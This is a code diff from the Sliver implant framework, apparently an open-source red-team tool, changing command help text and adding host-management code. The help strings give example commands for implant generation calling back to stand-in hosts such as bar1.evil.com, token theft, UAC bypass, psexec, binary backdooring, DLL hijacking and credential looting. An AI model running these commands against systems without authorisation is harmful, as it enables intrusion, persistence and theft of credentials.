generate --os linux --mtls example.com,domain.com --http bar1.evil.com,bar2.attacker.com --dns baz.bishopfox.com
|
||||
|
||||
|
||||
[[.Bold]][[.Underline]]++ Formats ++[[.Normal]]
|
||||
Supported output formats are Windows PE, Windows DLL, Windows Shellcode (SRDI), Mach-O, and ELF. The output format is controlled
|
||||
Supported output formats are Windows PE, Windows DLL, Windows Shellcode, Mach-O, and ELF. The output format is controlled
|
||||
with the --os and --format flags.
|
||||
|
||||
To output a 64bit Windows PE file (defaults to WinPE/64bit), either of the following command would be used:
|
||||
@@ -138,7 +173,7 @@ Execution limits can be used to restrict the execution of a Sliver implant to ma
|
||||
|
||||
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
|
||||
Due to the large number of options and C2s this can be a lot of typing. If you'd like to have a reusable a Sliver config
|
||||
see 'help new-profile'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
|
||||
see 'help profiles new'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
|
||||
command.
|
||||
`
|
||||
generateStagerHelp = `[[.Bold]]Command:[[.Normal]] generate stager <options>
|
||||
@@ -166,23 +201,23 @@ When a stager calls back to this URL, a sliver corresponding to the said profile
|
||||
|
||||
stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
|
||||
|
||||
To create a profile, use the [[.Bold]]new-profile[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
|
||||
To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
|
||||
|
||||
new-profile --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
|
||||
profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
|
||||
`
|
||||
|
||||
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new-profile [--profile-name] <options>
|
||||
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
|
||||
[[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
|
||||
|
||||
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
|
||||
Profiles are an easy way to save a sliver configurate and easily generate multiple copies of the binary with the same
|
||||
settings, but will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
|
||||
new-profile --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
|
||||
Profiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same
|
||||
settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
|
||||
profiles new --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
|
||||
generate-profile mtls-profile
|
||||
`
|
||||
|
||||
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate-profile [name] <options>
|
||||
[[.Bold]]About:[[.Normal]] Generate a Sliver from a saved profile (see new-profile).`
|
||||
[[.Bold]]About:[[.Normal]] Generate an implant from a saved profile (see 'profiles new --help').`
|
||||
|
||||
msfHelp = `[[.Bold]]Command:[[.Normal]] msf [--lhost] <options>
|
||||
[[.Bold]]About:[[.Normal]] Execute a metasploit payload in the current process.`
|
||||
@@ -193,21 +228,45 @@ settings, but will still have per-binary certificates/obfuscation/etc. This comm
|
||||
psHelp = `[[.Bold]]Command:[[.Normal]] ps <options>
|
||||
[[.Bold]]About:[[.Normal]] List processes on remote system.`
|
||||
|
||||
pingHelp = `[[.Bold]]Command:[[.Normal]] ping <sliver name/session>
|
||||
[[.Bold]]About:[[.Normal]] Ping Sliver by name or the active sliver. This does NOT send an ICMP packet, it just sends an empty
|
||||
c2 message round trip to ensure the remote Sliver is still responding to commands.`
|
||||
pingHelp = `[[.Bold]]Command:[[.Normal]] ping <implant name/session>
|
||||
[[.Bold]]About:[[.Normal]] Ping session by name or the active session. This does NOT send an ICMP packet, it just sends a small
|
||||
C2 message round trip to ensure the remote implant is still responding to commands.`
|
||||
|
||||
killHelp = `[[.Bold]]Command:[[.Normal]] kill <sliver name/session>
|
||||
[[.Bold]]About:[[.Normal]] Kill a remote sliver process (does not delete file).`
|
||||
killHelp = `[[.Bold]]Command:[[.Normal]] kill <implant name/session>
|
||||
[[.Bold]]About:[[.Normal]] Kill a remote implant process (does not delete file).`
|
||||
|
||||
lsHelp = `[[.Bold]]Command:[[.Normal]] ls <remote path>
|
||||
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.`
|
||||
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.
|
||||
|
||||
[[.Bold]][[.Underline]]Sorting[[.Normal]]
|
||||
Directory and file listings are sorted by name in ascending order by default. Listings can also be sorted by size (-s) and modified time (-m). All sorts can be reversed with -r.
|
||||
|
||||
[[.Bold]][[.Underline]]Filters[[.Normal]]
|
||||
Filters are a way to limit search results to directory and file names matching given criteria.
|
||||
|
||||
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
|
||||
/etc/passwd will display the listing for /etc/passwd. "/etc/" is the path, and "passwd" is the filter.
|
||||
|
||||
Directory and file listings can be filtered using the following patterns:
|
||||
'*': Wildcard, matches any sequence of non-path separators (slashes)
|
||||
Example: n*.txt will match all file and directory names starting with n and ending with .txt
|
||||
|
||||
'?': Single character wildcard, matches a single non-path separator (slashes)
|
||||
Example: s?iver will match all file and directory names starting with s followed by any non-separator character and ending with iver.
|
||||
|
||||
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
|
||||
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all directory and file names that start with a, b, or c.
|
||||
^[r-u] will match all characters except r, s, t, and u.
|
||||
|
||||
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
|
||||
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
|
||||
`
|
||||
|
||||
cdHelp = `[[.Bold]]Command:[[.Normal]] cd [remote path]
|
||||
[[.Bold]]About:[[.Normal]] Change working directory of the active Sliver.`
|
||||
[[.Bold]]About:[[.Normal]] Change working directory of the active session.`
|
||||
|
||||
pwdHelp = `[[.Bold]]Command:[[.Normal]] pwd
|
||||
[[.Bold]]About:[[.Normal]] Print working directory of the active Sliver.`
|
||||
[[.Bold]]About:[[.Normal]] Print working directory of the active session.`
|
||||
|
||||
mkdirHelp = `[[.Bold]]Command:[[.Normal]] mkdir [remote path]
|
||||
[[.Bold]]About:[[.Normal]] Create a remote directory.`
|
||||
@@ -231,20 +290,20 @@ c2 message round trip to ensure the remote Sliver is still responding to command
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Run a new process in the context of the designated user`
|
||||
|
||||
impersonateHelp = `[[.Bold]]Command:[[.Normal]] impersonate USERNAME
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Steal the token of a logged in user. Sliver commands that runs new processes (like [[.Bold]]shell[[.Normal]] or [[.Bold]]execute-command[[.Normal]]) will impersonate this user.`
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Steal the token of a logged in user. Sliver commands that run new processes (like [[.Bold]]shell[[.Normal]] or [[.Bold]]execute-command[[.Normal]]) will impersonate this user.`
|
||||
|
||||
revToSelfHelp = `[[.Bold]]Command:[[.Normal]] rev2self
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Call RevertToSelf, lose the stolen token.`
|
||||
|
||||
elevateHelp = `[[.Bold]]Command:[[.Normal]] elevate
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Spawn a new sliver session as an elevated process (UAC bypass)`
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Spawn a new Sliver session as an elevated process (UAC bypass)`
|
||||
|
||||
executeAssemblyHelp = `[[.Bold]]Command:[[.Normal]] execute-assembly [local path to assembly] [arguments]
|
||||
[[.Bold]]About:[[.Normal]] (Windows Only) Executes the .NET assembly in a child process.
|
||||
`
|
||||
|
||||
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
|
||||
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the Sliver process.
|
||||
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
|
||||
|
||||
[[.Bold]][[.Underline]]++ Shellcode ++[[.Normal]]
|
||||
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
|
||||
@@ -311,21 +370,21 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
|
||||
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
|
||||
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
|
||||
`
|
||||
loadExtensionHelp = `[[.Bold]]Command:[[.Normal]] load-extension <directory path>
|
||||
[[.Bold]]About:[[.Normal]] Load a Sliver extension to add new commands.
|
||||
Extensions are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
|
||||
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the extension file is a reflective DLL or not.
|
||||
Load an extension:
|
||||
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
|
||||
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
|
||||
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
|
||||
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
|
||||
Load an macro:
|
||||
load /tmp/chrome-dump
|
||||
Sliver extensions have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] extension):
|
||||
Sliver macros have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] macro):
|
||||
chrome-dump
|
||||
├── chrome-dump.dll
|
||||
├── chrome-dump.so
|
||||
└── manifest.json
|
||||
It is a directory containing any number of files, with a mandatory [[.Bold]]manifest.json[[.Normal]], that has the following structure:
|
||||
{
|
||||
"extensionName":"chrome-dump", // name of the extension, can be anything
|
||||
"extensionCommands":[
|
||||
"macroName":"chrome-dump", // name of the macro, can be anything
|
||||
"macroCommands":[
|
||||
{
|
||||
"name":"chrome-dump", // name of the command available in the sliver client (no space)
|
||||
"entrypoint":"ChromeDump", // entrypoint of the shared library to execute
|
||||
@@ -337,7 +396,7 @@ It is a directory containing any number of files, with a mandatory [[.Bold]]mani
|
||||
"os":"windows", // Target OS for the following files. Values can be "windows", "linux" or "darwin"
|
||||
"files":{
|
||||
"x64":"chrome-dump.dll",
|
||||
"x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the extension directory
|
||||
"x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the macro directory
|
||||
}
|
||||
},
|
||||
{
|
||||
@@ -369,9 +428,9 @@ Each command will have the [[.Bold]]--process[[.Normal]] flag defined, which all
|
||||
This command uploads a Sliver binary generated on the fly from a profile.
|
||||
The profile must be created with the [[.Bold]]service[[.Normal]] format, so that the service manager can properly start and stop the binary.
|
||||
|
||||
To create such a profile, use the [[.Bold]]new-profile[[.Normal]] command:
|
||||
To create such a profile, use the [[.Bold]]profiles new[[.Normal]] command:
|
||||
|
||||
new-profile --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
|
||||
profiles new --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
|
||||
|
||||
Once the profile has been created, run the [[.Bold]]psexec[[.Normal]] command:
|
||||
|
||||
@@ -383,7 +442,7 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
|
||||
[[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
|
||||
[[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
|
||||
|
||||
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: new-profile --format shellcode --profile-name whatever --http ab.cd
|
||||
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
|
||||
`
|
||||
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
|
||||
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
|
||||
@@ -393,6 +452,216 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
|
||||
[[.Bold]]About:[[.Normal]] Retrieve the environment variables for the current session. If no variable name is provided, lists all the environment variables.
|
||||
[[.Bold]]Example:[[.Normal]] getenv SHELL
|
||||
`
|
||||
setEnvHelp = `[[.Bold]]Command:[[.Normal]] setenv [name]
|
||||
[[.Bold]]About:[[.Normal]] Set an environment variable in the current process.
|
||||
[[.Bold]]Example:[[.Normal]] setenv SHELL /bin/bash
|
||||
`
|
||||
regReadHelp = `[[.Bold]]Command:[[.Normal]] registry read PATH [name]
|
||||
[[.Bold]]About:[[.Normal]] Read a value from the windows registry
|
||||
[[.Bold]]Example:[[.Normal]] registry read --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
|
||||
`
|
||||
regWriteHelp = `[[.Bold]]Command:[[.Normal]] registry write PATH value [name]
|
||||
[[.Bold]]About:[[.Normal]] Write a value to the windows registry
|
||||
[[.Bold]]Example:[[.Normal]] registry write --hive HKLM --type dword "software\\google\\chrome\\BLBeacon\\version" 1234
|
||||
|
||||
The type flag can take the following values:
|
||||
|
||||
- string (regular string)
|
||||
- dword (uint32)
|
||||
- qword (uint64)
|
||||
- binary
|
||||
|
||||
When using the binary type, you must either:
|
||||
|
||||
- pass the value as an hex encoded string: registry write --type binary --hive HKCU "software\\bla\\key\\val" 0d0a90124f
|
||||
- use the --path flag to provide a filepath containg the payload you want to write: registry write --type binary --path /tmp/payload.bin --hive HKCU "software\\bla\\key\\val"
|
||||
|
||||
`
|
||||
regCreateKeyHelp = `[[.Bold]]Command:[[.Normal]] registry create PATH [name]
|
||||
[[.Bold]]About:[[.Normal]] Read a value from the windows registry
|
||||
[[.Bold]]Example:[[.Normal]] registry create --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
|
||||
`
|
||||
|
||||
pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
|
||||
[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
|
||||
List pivots for the current session:
|
||||
|
||||
pivots
|
||||
|
||||
Start a tcp pivot on the current session:
|
||||
|
||||
pivots tcp --bind 0.0.0.0
|
||||
|
||||
`
|
||||
wgSocksHelp = `[[.Bold]]Command:[[.Normal]] wg-socks
|
||||
[[.Bold]]About:[[.Normal]] Create a socks5 listener on the implant Wireguard tun interface
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
Start a new listener:
|
||||
|
||||
wg-socks start
|
||||
|
||||
Specify the listening port:
|
||||
|
||||
wg-socks start --bind 1234
|
||||
|
||||
List existing listeners:
|
||||
|
||||
wg-socks
|
||||
|
||||
Stop and remove an existing listener:
|
||||
|
||||
wg-socks rm 0
|
||||
`
|
||||
wgPortFwdHelp = `[[.Bold]]Command:[[.Normal]] wg-portfwd
|
||||
[[.Bold]]About:[[.Normal]] Create a TCP port forward on the implant Wireguard tun interface
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
Add a new forwarding rule:
|
||||
|
||||
wg-portfwd add --remote 1.2.3.4:1234
|
||||
|
||||
Specify the listening port:
|
||||
|
||||
wg-portfwd add --bind 1234 --remote 1.2.3.4
|
||||
|
||||
List existing listeners:
|
||||
|
||||
wg-portfwd
|
||||
|
||||
Stop and remove an existing listener:
|
||||
|
||||
wg-portfwd rm 0
|
||||
`
|
||||
sshHelp = `[[.Bold]]Command:[[.Normal]] ssh
|
||||
[[.Bold]]About:[[.Normal]] Run an one-off SSH command via the implant.
|
||||
The built-in client will use the ssh-agent to connect to the remote host.
|
||||
The username will be the current session username by default, but is configurable using the "-l" flag.
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
|
||||
# Connect to a remote host named "bastion" and execute "cat /etc/passwd"
|
||||
ssh bastion cat /etc/passwd
|
||||
|
||||
# Connect to a remote host by specifying a username
|
||||
ssh -l ubuntu ec2-instance ps aux
|
||||
`
|
||||
|
||||
lootHelp = `[[.Bold]]Command:[[.Normal]] loot
|
||||
[[.Bold]]About:[[.Normal]] Store and share loot between operators.
|
||||
|
||||
A piece of loot can be one of two loot types: a file or a credential.
|
||||
|
||||
[[.Bold]]File Loot[[.Normal]]
|
||||
A file can be binary or text, Sliver will attempt to detect the type of file automatically or you can specify
|
||||
a file type with --file-type. You can add local files as loot using the "local" sub-command, or you can add
|
||||
files from a session using the "remote" sub-command.
|
||||
|
||||
[[.Bold]]Credential Loot[[.Normal]]
|
||||
Credential loot can be a user/password combination, an API key, or a file. You can add user/password and API
|
||||
keys using the "creds" sub-command. To add credential files use either the "local" or "remote" sub-commands
|
||||
with a "--type cred" flag (note the distinction between loot type --type, and file type --file-type). You can
|
||||
additionally specify a --file-type (binary or text) as you would normally.
|
||||
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
|
||||
# Adding a local file (file paths are relative):
|
||||
loot local ./foo.txt
|
||||
|
||||
# Adding a remote file from the active session:
|
||||
loot remote C:/foo.txt
|
||||
|
||||
# Adding a remote file as a credential from the active session:
|
||||
loot remote --type cred id_rsa
|
||||
|
||||
# Display only credentials:
|
||||
loot --filter creds
|
||||
|
||||
# Display the contents of a piece of loot:
|
||||
loot fetch
|
||||
`
|
||||
|
||||
reactionHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction
|
||||
[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s). The built-in
|
||||
reactions do not support variables or logic, they simply allow you to run verbatim
|
||||
commands when an event occurs. To implement complex event-based logic we recommend
|
||||
using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
|
||||
|
||||
[[.Bold]]Reactable Events:[[.Normal]]
|
||||
% 20s Triggered when a new session is opened to a target
|
||||
% 20s Triggered on changes to session metadata
|
||||
% 20s Triggered when a session is closed (for any reason)
|
||||
% 20s Triggered when a canary is burned or created
|
||||
% 20s Triggered when implants are discovered on threat intel platforms
|
||||
% 20s Triggered when a new piece of loot is added to the server
|
||||
% 20s Triggered when a piece of loot is removed from the server
|
||||
`,
|
||||
consts.SessionOpenedEvent,
|
||||
consts.SessionUpdateEvent,
|
||||
consts.SessionClosedEvent,
|
||||
consts.CanaryEvent,
|
||||
consts.WatchtowerEvent,
|
||||
consts.LootAddedEvent,
|
||||
consts.LootRemovedEvent,
|
||||
)
|
||||
|
||||
reactionSetHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction set
|
||||
[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).
|
||||
|
||||
The built-in reactions do not support variables or logic, they simply allow you to
|
||||
run verbatim commands when an event occurs. To implement complex event-based logic
|
||||
we recommend using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
|
||||
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
# The command uses interactive menus to build a reaction. Simply run:
|
||||
reaction set
|
||||
|
||||
[[.Bold]]Reactable Events:[[.Normal]]
|
||||
% 20s Triggered when a new session is opened to a target
|
||||
% 20s Triggered on changes to session metadata
|
||||
% 20s Triggered when a session is closed (for any reason)
|
||||
% 20s Triggered when a canary is burned or created
|
||||
% 20s Triggered when implants are discovered on threat intel platforms
|
||||
% 20s Triggered when a new piece of loot is added to the server
|
||||
% 20s Triggered when a piece of loot is removed from the server
|
||||
`,
|
||||
consts.SessionOpenedEvent,
|
||||
consts.SessionUpdateEvent,
|
||||
consts.SessionClosedEvent,
|
||||
consts.CanaryEvent,
|
||||
consts.WatchtowerEvent,
|
||||
consts.LootAddedEvent,
|
||||
consts.LootRemovedEvent,
|
||||
)
|
||||
|
||||
reactionUnsetHelp = `[[.Bold]]Command:[[.Normal]] reaction unset
|
||||
[[.Bold]]About:[[.Normal]] Unset/remove automated commands in reaction to event(s).
|
||||
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
# Remove a reaction
|
||||
reaction unset --id 1
|
||||
`
|
||||
dllHijackHelp = `[[.Bold]]Command:[[.Normal]] dllhijack
|
||||
[[.Bold]]About:[[.Normal]] Prepare and plant a DLL on the remote system for a hijack scenario.
|
||||
The planted DLL will have its export directory modified to forward the exports to a reference DLL
|
||||
on the remote system.
|
||||
The DLL used for the hijack can either be a file on the operator's system or built from a Sliver profile,
|
||||
supplied with the --profile flag.
|
||||
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
# Use a local DLL for a hijack
|
||||
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
|
||||
|
||||
# Use a Sliver generated DLL for the hijack
|
||||
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
|
||||
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
|
||||
|
||||
# Use a local DLL as the reference DLL
|
||||
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /tmp/msasn1.dll.orig --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
|
||||
`
|
||||
|
||||
getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
|
||||
[[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
|
||||
`
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -414,9 +683,9 @@ const (
|
||||
)
|
||||
|
||||
// GetHelpFor - Get help string for a command
|
||||
func GetHelpFor(cmdName string) string {
|
||||
func GetHelpFor(cmdName []string) string {
|
||||
if 0 < len(cmdName) {
|
||||
if helpTmpl, ok := cmdHelp[cmdName]; ok {
|
||||
if helpTmpl, ok := cmdHelp[strings.Join(cmdName, sep)]; ok {
|
||||
return FormatHelpTmpl(helpTmpl)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
Hosts
|
||||
======
|
||||
|
||||
Command to access and manage host information.
|
||||
@@ -0,0 +1,46 @@
|
||||
package hosts
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// HostsIOCRmCmd - Remove a host from the database
|
||||
func HostsIOCRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
host, err := SelectHost(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
ioc, err := SelectHostIOC(host, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
_, err = con.Rpc.HostIOCRm(context.Background(), ioc)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Removed host from database\n")
|
||||
}
|
||||
@@ -0,0 +1,107 @@
|
||||
package hosts
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// HostsIOCCmd - Remove a host from the database
|
||||
func HostsIOCCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
host, err := SelectHost(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if 0 < len(host.IOCs) {
|
||||
con.Printf("%s\n", hostIOCsTable(host, con))
|
||||
} else {
|
||||
con.Println()
|
||||
con.PrintInfof("No IOCs tracked on host\n")
|
||||
}
|
||||
}
|
||||
|
||||
func hostIOCsTable(host *clientpb.Host, con *console.SliverConsoleClient) string {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(table.StyleBold)
|
||||
tw.AppendHeader(table.Row{"File Path", "SHA-256"})
|
||||
for _, ioc := range host.IOCs {
|
||||
tw.AppendRow(table.Row{
|
||||
ioc.Path,
|
||||
ioc.FileHash,
|
||||
})
|
||||
}
|
||||
return tw.Render()
|
||||
}
|
||||
|
||||
func SelectHostIOC(host *clientpb.Host, con *console.SliverConsoleClient) (*clientpb.IOC, error) {
|
||||
|
||||
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
|
||||
// to work properly since we rely on the index of the user's selection to find the session in the map
|
||||
var keys []string
|
||||
var iocMap = make(map[string]*clientpb.IOC)
|
||||
for _, ioc := range host.IOCs {
|
||||
keys = append(keys, ioc.ID)
|
||||
iocMap[ioc.ID] = ioc
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Column Headers
|
||||
for _, key := range keys {
|
||||
ioc := iocMap[key]
|
||||
fmt.Fprintf(table, "%s\t%s\t\n",
|
||||
ioc.Path,
|
||||
ioc.FileHash,
|
||||
)
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select an IOC:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
survey.AskOne(prompt, &selected)
|
||||
if selected == "" {
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
|
||||
// Go from the selected option -> index -> host
|
||||
for index, option := range options {
|
||||
if option == selected {
|
||||
return iocMap[keys[index]], nil
|
||||
}
|
||||
}
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package hosts
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// HostsRmCmd - Remove a host from the database
|
||||
func HostsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
host, err := SelectHost(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
_, err = con.Rpc.HostRm(context.Background(), host)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Removed host from database\n")
|
||||
}
|
||||
@@ -0,0 +1,186 @@
|
||||
package hosts
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
